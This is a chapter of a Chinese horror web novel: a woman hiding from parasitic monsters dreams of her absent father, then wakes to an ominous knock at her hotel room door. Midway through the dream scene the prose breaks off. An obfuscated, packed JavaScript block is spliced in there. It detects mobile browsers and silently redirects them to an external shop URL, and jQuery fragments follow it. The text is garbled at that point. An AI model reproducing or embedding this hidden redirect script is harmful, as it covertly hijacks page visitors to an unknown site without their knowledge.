电梯门关上了。
狭小的空间里只有他们两个人，灯光是暖黄色的，照在金属墙壁上，映出两个模糊的影子。
“你还好吗？”彦川开口了。
林初的脸色很差。
已经到了有些发白的地步了，嘴唇上的血色也淡了很多，眼底有一圈淡淡的青黑。
她靠在电梯的墙壁上，声音弱弱的：“没事。就是这两天太累了，没休息好。”
她低头看了看自己身上的衣服，已经沾满了灰尘，还有一股汗味。
袖口的地方不知道蹭到了什么，有一块暗色的污渍。
“一想到也换不了衣服——就更累了。”
衣服？
彦川低头看了看自己身上。
他没有出汗。
衣服上干干净净，连个褶皱都没有。
他不明白林初话里的意思。
但他没有问。
到了房间门口，彦川先进去检查了一遍。
窗户锁好了、浴室没有异样、床底下是空的、衣柜里只有衣架。
确定了林初的房间内没有任何危险，他这才退出来，让她走进去。
“今晚一定要把房门和窗户都锁好。”
他的表情很凝重，语气不像是在叮嘱，更像是在下命令：“窗帘也要拉上。不要开窗。任何人敲门都不要开。”
“我又不傻——”
林初靠在门框上，看着他一脸紧张的样子，忍不住笑了一下：“就算是天塌了，今晚我也不可能出这个门。”
彦川张了张嘴，还想再说什么。
“好啦好啦，知道了知道了”
林初推着他的肩膀，把他往隔壁房间的方向赶：“你快回去休息吧。明天还要早起呢。”
彦川被推着走了两步，回头看了她一眼：“……有事叫我。”
“好。”
“我就在隔壁。”
“好。”
“我听得见。”
“好——”
“砰。”
门关上了。
彦川站在走廊里，看着那扇关上的门，站了两秒，然后转身走向自己的房间。
他没有关门。
只是虚掩着。
留了一条缝。
正好能听到隔壁的动静。
回到房间后，林初已是筋疲力尽。
她直接张开双臂，整个人重重地倒在了大床上。
床单上有淡淡的洗衣液香味，不是那种浓烈的工业香精，而是一种很干净的、像阳光晒过的棉布的味道。
让人很安心。
她躺在床上，盯着天花板看了几秒。
天花板上有一盏吸顶灯，灯罩里有一只小虫子的影子，不知道是死的还是活的。
终于有了空闲。
她打开手机，在各个软件上搜索关于怪物的报道。
没有。
什么都没有。
搜索栏里输入“寄生”“怪物”“食人花”“病毒”
出来的全是电影截图和小说片段。
没有新闻。
没有官方通报。
没有预警信息。
就好像今天发生的一切，都只是一场只属于她的噩梦。
她又刷了一遍朋友圈，也什么都没有察觉到。
每个人都在发自己的生活，晚饭、加班、猫、自拍。
没有人提到那些东西。
没有人提到那些怪物。
没有人提到，那些从人脑子里钻出来的、长着人脸的虫子。
林初点开发帖的按钮，指尖悬在屏幕上方。
她想把自己今天经历的一切写下来。
想告诉所有人：外面有危险、不要出门、不要相信任何人、
但她放弃了。
她怕自己被打成神经病。
更怕打草惊蛇。
万一那些东西也在看手机呢？
最后，她打开了闺蜜余晓晓的聊天框。
“林初：怎么样，还安全吗？”
对面没有回复。
也许是没看见。
也许是在忙。
也许……
她不敢想“也许”后面的东西。
林初把手机放在枕头旁边，翻了个身，把被子拉过来裹住自己。
她的眼皮越来越重。
意识开始变得模糊。
那些画面，馄饨店、彦川的手、包子的温度、谢景行的消息、父亲的身影——像碎片一样在她的脑海里旋转、交织、重叠
然后，一切都沉了下去。
起初一切安好。
林初用被子把自己裹得很紧，睡得很沉。
房间里只有空调发出的低沉的嗡嗡声，和窗外偶尔传来的、遥远的风声。
然后，天空下起了绵绵细雨。
雨丝从窗口的缝隙里渗进来，带着泥土的腥气和一丝凉意。雨声“淅淅沥沥”的，像有人在很远的地方弹一首很慢的曲子。
慢慢地，雨势越来越大。
“哗——”
雨水像是从天上倒下来的一样，狠狠地砸在窗户上，发出密集的“噼啪”声。
狂风呼啸而起。
楼下的树木被吹得东倒西歪，枝叶在风中疯狂地摇摆，像一群正在挣扎的溺水者。
林初被吵到了。
她皱了皱眉头，把身体侧向了窗户的另一边，把被子拉过头顶，把自己整个人蒙在里面。
然后她“沉”了下去。
沉进了梦的最深处。
她的脑海中浮现出一个画面
一个穿着棕色外套的男人。
他笑着，将小时候的林初高高举起，又稳稳地接住，抱在怀里
“我们小木又长高了。”
小林初“咯咯”地笑着，伸出小手去抓男人的脸颊，嘴里含糊不清地叫着：“爸爸……爸爸……”
她始终看不清那个男人的脸。
不是看不清，是林初已经快要忘记他的样子了。
他已经离开了太久。
久到她只能在梦里才能见到他。
久到她在梦里的他，都只是一个模糊的轮廓。
男人从怀里拿出一个白色的东西。
一个小小的、精致的香囊，上面绣着一棵小树，针脚细密，一看就是一针一线慢慢绣出来的。
林初闻到一股非常好闻的、却不知道是什么的香味。
像花香，又不完全是花香。
像草药，又不完全是草药。
那是一种她在现实中从未闻到过的味道，只存在于这个梦里，只存在于这个男人的身上。
陆明把这个香囊塞到小林初的口袋里，拍了拍她的头，然后把她放回了地上。
他蹲下身，平视着她的眼睛：“小木啊，这是提前给你的生日礼物哦。”
“你要好好长大，长得像大树一样……雄壮。”
小林初不知道这话是什么意思，只是懵懵地点了点头，两只小手还攥着爸爸的衣角，不肯松开。
陆明伸出手，拍了拍她的脑袋。
那只手很大，很厚实，掌心有薄薄的茧，那是长期握什么东西留下的痕迹。
他迟迟地看了她一眼。
那一眼里有很多东西。
小小的林初看不懂。
但她记住了那个眼神。
很复杂。
很沉重。
像一座山。
然后他转过身，走了。
小林初站在原地，还没有别人的大腿高。
她被人流挤来挤去，小手在空中乱抓，却什么都抓不到。
她慌了。
她四处寻找陆明的身影<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586940|205319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>没有。
哪里都没有。
人群里全是陌生的脸，没有一张是她认识的。
小人儿终于憋不住了，“哇”的一声哭了出来。
“不要……不要丢下我！”
“爸爸！！！”
“——！！！”
林初猛然睁开眼，掀起被子坐了起来。
她的眼角淌下两行泪水，温热地滑过脸颊，滴在被单上，洇出两个小小的深色圆点。
大口大口地喘着气，心脏在胸腔里跳得又快又重，像是刚跑完一场没有尽头的长跑。
梦里的那个男人，她的父亲。
他已经走了十五年了。
十五年。
她以为自己已经不在乎了。
但梦替她记住了。
她坐在床上，发了好一会儿呆，然后慢慢转过头。
床头柜上放着那个香囊。
白色，小树刺绣，针脚细密。
她是从什么时候开始，把这个香囊带在身边的？
她记不清了。
她只记得，妈妈说她小时候每天晚上都要抱着这个香囊才能睡着。
没有了它，她就会哭闹一整夜。
她站起身，走到窗前，拉开一点窗帘。
凉风从缝隙里灌进来，拍在她的脸上，吹散了她额前的碎发，也让她清醒了不少。
她拿起那个香囊，放在鼻子下面。
那股香味还在。
这么多年了，从来没有淡过。
她曾经拿着这个香囊去过很多地方。
问过香料店的老板、拜访过寺庙里的师傅、甚至在网上发过帖子，只想找到这里面到底是什么味道。
没有人知道。
“这不是地球上的香料。”有一个老师傅这样跟她说。
她当时以为他在故弄玄虚。
现在。
她不确定了。
忽然，她的目光被楼下的什么东西吸引了。
路灯下，一个影子一闪而过。
速度很快。
快得像是错觉。
但林初看清了。
那是一个人的轮廓。
她的神经瞬间紧绷了起来。
她的手不自觉地攥紧了香囊，指尖因为用力而微微发白。
谁会在这种天气、这个时候，在街上奔跑？
还是说……那不是“人”？
“砰！砰！砰！”
几乎是同一时间——
身后传来了敲门声。
一下。
两下。
三下。
很有节奏。
不紧不慢。
像是在等她去开门。
林初的手开始发抖。
她没有回头。
她的眼睛死死地盯着窗外那盏路灯——
那里什么也没有了。
那个影子消失了。
像从来没有出现过一样。
“砰！砰！砰！”
敲门声还在继续。
林初的脑海里闪过彦川今晚说过的话——
“晚上那些东西会出来觅食。”
“窗帘也要拉上。不要开窗。”
“任何人敲门都不要开。”
任何人。
她的目光慢慢移向门口。
门是锁着的。
链子也挂上了。
但她不知道那扇门能挡住什么。
她不知道门外面站着的是“谁”。
“砰！砰！砰！”
敲门声停了。
“林初。”
一个声音从门外传进来。
很低。
很轻。
带着一种让她头皮发麻的熟悉感。
“我知道你在里面。”
那个声音说：“开门。”